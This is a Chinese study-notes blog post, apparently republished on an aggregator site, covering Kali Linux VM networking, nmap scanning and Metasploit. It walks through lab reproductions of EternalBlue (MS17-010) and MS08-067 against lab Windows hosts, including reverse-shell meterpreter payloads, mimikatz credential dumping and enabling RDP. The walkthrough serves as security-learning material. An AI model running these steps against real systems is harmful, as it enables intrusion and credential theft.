云曦暑期学习第六周——kali

1.熟悉网络配置

一般来说虚拟机有三种网络模式:

  • NAT (网络地址转换模式)
  • Bridged (桥接模式)
  • Host-Only(主机模式)

nat模式:

虚拟系统会通过宿主机的网络来访问外网。而这里的宿主机相当于有两个网卡,一个是真实网卡,一个是虚拟网卡,真实网卡相当于链接了现实世界的真实路由器,而宿主机的虚拟网卡,相当于链接了一个可以认为是虚拟交换机(这个虚拟交换机同时链接了虚拟系统(linux)和宿主机)。

​ 当虚拟网络想访问外网,就必须通过宿主机的IP地址,而外面看来也确实是宿主机的IP地址(实则是虚拟机访问的!!),完全看不到虚拟网络局域的内部形式,而这个时候linux和宿主机和虚拟交换机形成一个网段,宿主机和真实路由形成一个网段。

Bridged模式

桥接网络是指物理网卡和虚拟网卡通过VMnet0虚拟交换机进行桥接。

此时VMnet0虚拟交换机相当于一台现实网络中的交换机,虚拟机相当于一台物理主机。他可以访问这个局域网内的所有的主机,但是需要手动来配置IP地址,子网掩码,并且他是和真实主机在同一个网段(nat是两个网段),这个模式里,虚拟机和宿主机可以互相ping通。

Host-Only模式

在Host-Only模式下,虚拟网络是一个全封闭的网络,它唯一能够访问的就是主机。

其实Host-Only网络和NAT网络很相似,不同的地方就是Host-Only网络没有NAT服务,所以虚拟网络不能连接到Internet。主机和虚拟机之间的通信是通过VMware Network Adepter VMnet1虚拟网卡来实现的。

​ Host-Only的宗旨就是建立一个与外界隔绝的内部网络,来提高内网的安全性。这个功能或许对普通用户来说没有多大意义,但大型服务商会常常利用这个功能。如果你想为VMnet1网段提供路由功能,那就需要使用RRAS,而不能使用XP或2000的ICS,因为ICS会把内网的IP地址改为192.168.0.1,但虚拟机是不会给VMnet1虚拟网卡分配这个地址的,那么主机和虚拟机之间就不能通信了。

2.nmap

2.1简要

nmap是用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图,Nmap的发送特制的数据包到目标主机,然后对返回数据包进行分析。Nmap是一款枚举和测试网络的强大工具。

2.2功能

1.主机探测
2.端口扫描
3.版本检测
4.支持探测脚本的编写

2.3实例

发现主机

1.扫描指定IP地址(ping 扫描)

nmap  -sn 192.168.0.102

 2.扫描指定IP地址

 3.提取文件中的IP地址

 4.扫描整个网段/子网

(ip地址一共是32位,/24就表示他的网络号是24位。也就是说共有 2^(32-24)-2 个主机,共254个ip。因为主机为全0和1的保留不用,所以需要减2)

端口发现

1.扫描主机的指定端口

 2.使用TCP的SYN进行扫描(半开放扫描,只发送SYN,如果服务器回复SYN,ACK。证明端口开放,不建立完整连接

3.使用TCP进行扫描(默认nmap扫描方式)

4.使用UDP进行扫描(扫描UDP开放的端口)

5.使用FIN扫描

有的时候TCP SYN不是最佳的扫描默认,目标主机可能有IDS/IPS系统的存在,防火墙可能过滤掉SYN数据包。而发送一个

FIN标志的数据包不需要完成TCP的握手。

6.idle扫描(需要指定另外一台主机IP地址,并且目标主机的IPID是递增的)

idlescan是一种理想的扫描方式,它使用另一台网络上的主机替你发送数据包,从而隐藏自己。

nmap -sI  192.168.3.227 192.168.3.74

获得服务版本详细信息

nmap -sV 192.168.0.102

 确定主机操作系统

nmap -O 192.168.0.102 

3.msfconsole

msfconsole 简称 msf 是一款常用的安全测试工具,包含了常见的漏洞利用模块和生成各种木马,其提供了一个一体化的集中控制台,通过msfconsole,你可以访问和使用所有的metaslopit插件,payload,利用模块,post模块等等。msfconsole还有第三方程序的接口,比如nmap、sqlmap等,可以直接在msfconsole里面使用。
kali可直接在命令使用:

msfconsole

Msfconsole的系统文件和用户文件位于/usr/share/metasploit-framework/msfconsole目录下 

3.1基础命令概览:

back(返回): 从目前的情况下向后移动

banner:Display an awesome metasploit banner

cd: 改变当前的工作目录

color: 切换颜色

connect(远程连接): 与主机通信

edit(编辑): 编辑与$ VISUAL或$ EDITOR当前模块的

exit(退出命令行): 退出控制台

get (获取变量): 获取特定上下文变量的值

getg (全局获取变量): 获取一个全局变量的值

go_pro : 启动Metasploit的网页图形用户界面

grep: grep的另一个命令的输出

help(帮助) : 帮助菜单

info(获取模块信息): 关于一个或多个模块显示信息

irb: 进入irb脚本模式

jobs:显示和管理职位

kill(结束进程): 结束一个进程

load(加载): 加载一个框架插件

loadpath : 搜索和负载从一个路径模块

makerc: 保存自开始进入到一个文件中的命令

popm: 弹出最新的模块从堆栈中并使其活跃

previous : 将以前加载模块作为当前模块

pushm : 推主动或模块列表在模块栈

quit (退出控制台): 退出控制台

reload_all Reloads : 从所有定义的模块路径的所有模块

rename_job : 重命名工作

resource : 运行存储命令在文件

route: 通过会话路由流量

save: 将数据存储主动

search(搜索exp等模块关键字): 搜索模块的名称和说明

sessions(会话功能): 转储会话列表和显示有关会话的信息

set(设置参数): 设置一个特定的上下文变量的值

setg(全局设置参数): 设置一个全局变量的值

show(展示参数模块): 给定类型的显示模块或所有模块

sleep : 什么都不做对的指定秒数

spool : 写控制台输出到一个文件以及屏幕

threads : 查看和操作后台线程

unload(卸载某个插件): 卸载一个框架插件

unset(删除某个设置参数): 取消设置一个或多个特定的上下文变量

unsetg(取消全局某个设置参数): 取消设置一个或多个全局变量的

use(使用某个模块): 选择按名称模块

version(查看版本信息): 显示的框架和控制台库版本号

输入命令show,看到提示,那么根据提示我们就知道msf包含的模块:

3.2实例

show

输入命令show,看到提示,那么根据提示我们就知道msf包含的模块:

 show encoders:

使用方式-e 编码类型即可,这样可以根据不同需求得到我们需要的shellcode。

 

show nops

 除了编码模块,还有滑板指令模块,通过show nops展示:

滑板指令不会对程序运行状态有实质影响或者空操作之类的,就像0x90。滑板指令有多种作用,在漏洞利用中应用广泛:

• 填充,填充多余部分

• 延迟,nop指令会产生一定的延迟效果

• 等待,等待缓冲区清空,总线恢复

• 清除,清除上一个算数逻辑指令设置的flag位

• 破解,将部分关键指令用nop填充

使用方式use +即可
 

show auxiliary

 show auxiliary辅助模块,是一个功能特别多的模块,这里只简单介绍,他负责执行信息收集,扫描,嗅探,指纹识别,口令猜测和Dos攻击等功能:

 show post

 show post,这是一个后渗透模块,里面包含了后渗透会用到的功能,最多就是信息收集:

 banner
这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。

Search参数
当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search命令就很重要。我会详细的解释一下这个命令。

当你输入help search的时候就会列出search命令的一些选项。

help search

(1)查 mysql

search name:mysql

(2)查 joomla

search joomla

(3)ms08-067查找漏洞

search ms08-067

 

4.永恒之蓝复现(Eternal Blue)

永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

4.1复现环境

kali使用ifconfig,win7使用ipconfig查看ip地址

攻击机:kali (192.168.75.128)
靶机:Windows 7 (192.168.75.129)

4.2复现过程

1.先看能不能ping通

2.使用nmap对靶机端口服务进行扫描,检测目标主机是否存活,以及445端口开放情况

 nmap -sV 192.168.75.129

 可以看到:目标主机存活(host is up),且445端口开放

3.打开Metasploit

msfconsole

4.输入永恒之蓝漏洞编号

永恒之蓝漏洞编号为ms17-010

search ms17-010

 可以看到返回了多条可利用的漏洞模块信息,永恒之蓝用到的是第3个和第0个。第3个是用来进行扫描的,扫描在这个网段里面哪一个主机是有这个漏洞的(scanner扫描器),第0个是永恒之蓝的攻击模块。

5.先使用第3个扫描器进行辅助扫描测试。

use auxiliary/scanner/smb/smb_ms17_010

 

6.查看该漏洞模块所需的参数情况

show options

 

结果展示:其中required下方显示的值为yes的,代表是必须要设置的项;显示的值为no的,代表是不必须要设置的项;

我们重点关注以下2个参数配置,哪个参数有问题就设置哪个:

RHOST(被攻击的目标地址-靶机地址);

RPORT(被攻击目标地址的端口-保证445端口开放)

7、设置靶机地址

由上图可知:只有RHOST未设置,其他参数均以自动获取,没有问题。所以我们只需设置靶机位置即可

set RHOST 192.168.75.129

8、进行检验

show options

9、发起攻击

run

 显示“Host is likely VULNERABLE to MS17-010”-该主机很容易受到ms17-010的攻击,可以断定靶机存在永恒之蓝漏洞。

10、再次查看永恒之蓝漏洞

search ms17-010 

11、进入0模块,进行攻击

use exploit/windows/smb/ms17_010_eternalblue

12、查看参数配置情况

show options

重点关注以下5个参数设置,哪个有问题就设置哪个

1.Payload(攻击载体) ;

2.RHOST(被攻击的目标地址-靶机ip);

3.RPORT(被攻击目标地址的端口-保证445开放);

4.LHOST(发起攻击的地址-kali的ip);

5.LPORT(发起攻击的端口-默认即可);


发现仅RHOST为空待设置,其它(payload/RPORT/LHOST/LPORT)均已获取且正确 

13、设置RHOST

set RHOST 192.168.75.129

14、再次检查

show options

15,发起攻击

run

 

显示meterpreter >表明攻击成功 两个电脑已经建立了一个会话连接

 Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。

16,进入靶机shell

shell

 若有乱码,输入chcp 65001即可

 这个时候我们已经成功了,可以远程命令执行,变成了windows的控制台的模式。

查看本地用户

net user 

永恒之蓝复现完毕

5.ms08-067漏洞复现

MicrosoftWindows是美国微软(Microsoft)公司发布的一系列操作系统。Windows的Server服务在处理特制RPC请求时存在缓冲区溢出漏洞。远程攻击者可以通过发送恶意的RPC请求触发这个溢出,导致完全入侵用户系统,以SYSTEM权限执行任意指令。对于Windows2000、XP和Server2003,无需认证便可以利用这个漏洞;对于WindowsVista和Server2008,可能需要进行认证。

5.1复现环境

未打补丁的xp:192.168.75.130
kali:192.168.75.128
两台主机之间可以通信

 

5.2复现过程

 1、扫描目标靶机,445端口是开放的

 2、启动msfconsole,搜索漏洞

search ms08_067

 
3.这里只有一个可用的exploit模块,use它。

4.show targets查看一下,该模块都适用于哪些windows版本。 

5.本次实验的主机是xp3 simplified。
这里将目标主机的类型设置。

set target 34

6. 看一下需要配置哪些参数show options

 7.设置一下rhosts

8.查看一下有哪些可用的payload;show payloads 

这里选择61号。set pyaload windows/meterpreter/reverse_tcp 

9.再看一下payload需要配置哪些参数show options

 

看到别人wp说需要配置lohostlport;配置监听地址和监听端口。监听端口有默认值,这里就只配置监听地址为kali的IP。

但这里都已经配置好了

10.run

成功了

可以开启一个内渗透模块:load mimikatz,

 用creds_all查看用户名和密码

开启远程桌面:run post/windows/manage/enable_rdp

复现完毕

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/47300.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3分钟了解Android中稳定性测试

一、什么是Monkey Monkey在英文里的含义是猴子,在测试行业的学名叫“猴子测试”,指的是没有测试经验的人甚至是根本不懂计算机的人(就像一只猴子),不需要知道程序的任何用户交互方面的知识,给他一个程序&a…

sed替换命令

用sed编辑流时,最强大的命令莫过于它的替换命令。它有许多参数选项,可以完成诸多复杂的工作。 1. 替换命令的语法 sed [address-range|pattern-range] s/original-string /replacement-string/[substitute-flags] inputfile 注意,上面的换…

【2023年11月第四版教材】《第6章-项目管理概论》(第二部分)

《第6章-项目管理概论》(第二部分) 3 项目经理的角色3.1 项目经理的影响力范围3.2 项目经理领导力风格 4 价值驱动的项目管理知识体系4.1 开发生命周期类型 5 五大过程组6 五个过程组和十大知识领域 3 项目经理的角色 3.1 项目经理的影响力范围 范围影…

Ganache 本地测试网远程连接

文章目录 前言1. 安装Ganache2. 安装cpolar3. 创建公网地址4. 公网访问连接5. 固定公网地址 前言 Ganache 是DApp的测试网络,提供图形化界面,log日志等;智能合约部署时需要连接测试网络。 Ganache 是一个运行在本地测试的网络,通过结合cpol…

窗口函数大揭秘!轻松计算数据累计占比,玩转数据分析的绝佳利器

上一篇文章《如何用窗口函数实现排名计算》中小编为大家介绍了窗口函数在排名计算场景中的应用,但实际上窗口函数除了可以进行单行计算,还可以在每行上打开一个指定大小的计算窗口,这个计算窗口可以由SQL中的语句具体指定,大到整个…

AI极客日报0822 - AI创作是否应该有版权?

👀AI 日报合集 | 🧡 点赞关注评论拜托啦! 人工智能系统依法享有版权吗?这位法官给出了肯定的答案。让我们开始吧。 今日看点: 一位联邦法官明确表示,AI创作的艺术品没有版权!中国&#xff0c…

PySide6学习笔记--基础环境的安装配置

PySide6介绍 QT官方发布Qt6.0之后,紧接着于2020年12月10日发布了PySide 6,对应C版的Qt6。从PySide6开始,PySide的命名也会与Qt的大版本号保持一致。需要注意的是使用PySide6开发的程序在默认情况下,不兼容Windows7系统&#xff0c…

测试框架pytest教程(4)运行测试

运行测试文件 $ pytest -q test_example.py 会运行该文件内test_开头的测试方法 该-q/--quiet标志使输出保持简短 测试类 pytest的测试用例可以不写在类中,但如果写在类中,类名需要是Test开头,非Test开头的类下的test_方法不会被搜集为用…

初识微服务

我们在曾经最常见的就是所谓的单体架构,但是由于网民越来越多,单体架构已经逐渐的被淘汰出去,所以我们在单体架构的基础上提出了微服务,它提倡将单一应用程序划分成一组小的服务,服务之间互相协调、互相配合&#xff0…

vue 使用nvm控制node 版本,随意切换 node 版本

1.nvm 下载安装 https://github.com/coreybutler/nvm-windows/releases 找自己版本 1.安装版本 nvm list available // 查看所有node 版本 nvm install 版本号 // 安装指定版本号2.nvm 列表展示 nvm list //展示所有版本号3.nvm 切换环境 nvm use 版本号 // 切换版本4.…

登录 jwt ,filter

cookie 在请求头中叫做cookie,在响应头中叫set-cookie GetMapping("/c1")public Result cookie1(HttpServletResponse resp){resp.addCookie(new Cookie("login_name","itheima"));return Result.success();}GetMapping("/c2&qu…

Postman的高级用法—Runner的使用​

1.首先在postman新建要批量运行的接口文件夹,新建一个接口,并设置好全局变量。 2.然后在Test里面设置好要断言的方法 如: tests["Status code is 200"] responseCode.code 200; tests["Response time is less than 10000…

三维模型OSGB格式轻量化的纹理压缩和质量保持分析

三维模型OSGB格式轻量化的纹理压缩和质量保持分析 在三维模型应用中,纹理数据是一个重要的部分,可以为模型增加更多的真实感和细节。但是,由于纹理数据通常会占用大量的存储空间和传输带宽,因此,在OSGB格式轻量化处理中…

几个Web自动化测试框架的比较:Cypress、Selenium和Playwright

介绍:Web自动化测试框架对于确保Web应用程序的质量和可靠性至关重要。它们帮助开发人员和测试人员自动执行重复性任务,跨多个浏览器和平台执行测试,并在开发早期发现问题。 以下仅代表作者观点: 本文探讨来3种流行的Web自动化测…

触摸屏与PLC之间 EtherNet/IP无线以太网通信

在实际系统中,同一个车间里分布多台PLC,用触摸屏集中控制。通常所有设备距离在几十米到上百米不等。在有通讯需求的时候,如果布线的话,工程量较大耽误工期,这种情况下比较适合采用无线通信方式。 本方案以MCGS触摸屏和…

视频云存储/安防监控EasyCVR视频汇聚平台如何通过角色权限自行分配功能模块?

视频云存储/安防监控EasyCVR视频汇聚平台基于云边端智能协同,支持海量视频的轻量化接入与汇聚、转码与处理、全网智能分发、视频集中存储等。音视频流媒体视频平台EasyCVR拓展性强,视频能力丰富,具体可实现视频监控直播、视频轮播、视频录像、…

LLM生成式 AI 项目生命周期Generative AI project lifecycle

在本课程的其余部分中,您将学习开发和部署LLM驱动应用所需的技巧。在这个视频中,您将了解一个能帮助您完成此工作的生成式AI项目生命周期。此框架列出了从构思到启动项目所需的任务。到课程结束时,您应该对您需要做的重要决策、可能遇到的困难…

编写一个俄罗斯方块

编写俄罗斯方块 思路。 1、创建容器数组,方块, 2、下落,左右移动,旋转,判断结束,消除。 定义一个20行10列的数组表示游戏区。初始这个数组里用0填充,1表示有一个方块,2表示该方块固…

结构型(三) - 享元模式

一、概念 享元模式(Flyweight Pattern):所谓“享元”,顾名思义就是被共享的单元。享元模式的意图是复用对象,节省内存,前提是享元对象是不可变对象。 优点:可以极大地减少内存中对象的数量&am…

mysql通过binlog日志恢复误删数据

1、先查看binlog功能是否开启 show variables like %log_bin%;log_bin为ON说明可以使用binlog恢复,如果为OFF说明没有开启binlog。 2、删除部分数据做测试 3、查找binlog文件位置 show variables like %datadir%;cd /var/lib/mysqlls -l删除数据时间是在文件154与…